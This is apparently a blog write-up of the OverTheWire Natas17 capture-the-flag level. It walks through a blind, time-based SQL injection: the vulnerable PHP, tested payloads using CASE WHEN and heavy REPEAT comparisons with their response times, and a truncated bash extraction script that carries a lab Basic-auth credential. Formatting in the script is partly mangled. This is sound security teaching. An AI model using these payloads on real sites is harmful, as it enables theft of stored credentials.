Hacking Natas17


One of the great resources of the internet is the OverTheWire CTF challenge. It's a great way to learn about security vulnerabilities.

For those of you new to CTF challenges, the goal is to find "flags", which are random series of letters. These flags are hidden behind security walls, like in a database, and you must find a way to retrieve them. With OverTheWire, flags unlock further challenges.

Natas17 is one of these challenges. It required many workarounds and some stealth, but I got it. I'll discuss my process of solving the challenge below. For those of you not wanting spoilers, beware! There are boat loads below.

Analyzing the Problem

We start at the landing side page which includes this server-side code:

<?php
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {

Let's take a step back and analyze this.

Already, we see that the user receives absolutely zero output. There be dragons here!

Additionally, our main point of access is the query.

It appears the password is hidden in the users table. This all looks very similar to natas15. Hm...

A ha! This is a time-based SQL attack. While the user can't receive any output, the user can delay output by injecting CPU-heavy SQL queries. We can then use this as a binary signal to extract info. Let's try that.

Prodding the Website

In an ideal world, every piece of SQL would work on every website and we could run whatever we want.

However, we have to confirm what does and what doesn't work on the remote system. As a playing ground, we will confirm our ideas on natas15.

My first intuition is to use IF ELSE statements. That would require us to run a multi-command SQL query. Since new-line characters don't transmit cleanly, we'll need to use semicolons. Let's test that...

Request Body Output
username= Executing query: SELECT * from users where username=""
This user doesn't exist.
username="; SELECT * from users where username=" Executing query: SELECT * from users where username=""; SELECT * from users where username=""
Error in query.

As can be seen, both queries look at users. However, request 2 is failing. If semicolons were truly supported, it should work. Alas, we must do without semicolons.

How else can we replicate an IF ELSE inside a SELECT? Hm... Let's try CASE. Here's a crafted payload:

Request Body Output
username=" or (CASE WHEN true THEN true END) or username=" Executing query: SELECT * from users where username="" or (CASE WHEN true THEN true END) or username=""
This user exists.

A ha, success! Now we just need some gigantic SQL query to slow down the HTML response and...

Request Body Output Response Times
username= Executing query: SELECT * from users where username=""
This user doesn't exist.
286ms, 440ms, 393ms, 401ms, 206ms
username=" or (CASE WHEN true THEN REPEAT("a", 16202020)=REPEAT("aa", 8101010) END) or username=" Executing query: SELECT * from users where username="" or (CASE WHEN true THEN REPEAT("a", 16202020)=REPEAT("aa", 8101010) END) or username=""
This user exists.
826ms, 397ms, 160ms, 371ms, 464ms

Why 8101010? That number is roughly below the limit for the SQL instance.

The inconsistent timing is not a good sign for our cause. The first crafted-request was slow, but subsequent requests were much faster. Where's the consistency in that?

As a haunch, this might be caching. Let's double check that...

Request Body Output Response Times
username=" or (CASE WHEN true THEN REPEAT("b", 16202020)=REPEAT("bb", 8101010) END) or username=" Executing query: SELECT * from users where username="" or (CASE WHEN true THEN REPEAT("b", 16202020)=REPEAT("bb", 8101010) END) or username=""
This user exists.
1,170ms
username=" or (CASE WHEN true THEN REPEAT("c", 16202020)=REPEAT("cc", 8101010) END) or username=" Executing query: SELECT * from users where username="" or (CASE WHEN true THEN REPEAT("c", 16202020)=REPEAT("cc", 8101010) END) or username=""
This user exists.
553ms

Now that's consistently higher timing, even if not by too much.

Now that we know that we have the tools to execute our time-based SQL attack. I will include extra redundancies to avoid variability in timing, and hopefully we should be safe.

The Final Payload

Below the code, I will explain it a little bit.

```bash

!/bin/bash

-x

c for password character to test

low for lower-bound in binary search

high for upper-bound in binary search

testRange() { c=$1; local low=$2; local high=$3; local key1=$(pwgen 1 1); # Random char [a-zA-Z0-9] local key2=$(pwgen 1 1); local key3=$(pwgen 1 1); local key4=$(pwgen 1 1); local key5=$(pwgen 1 1);

local time_then=$(gdate +%s%3N); # Current time in milliseconds
curl -s 'http://natas17.natas.labs.overthewire.org/index.php' \
-H 'Host: natas17.natas.labs.overthewire.org' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
--compressed \
-H 'Referer: http://natas17.natas.labs.overthewire.org/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw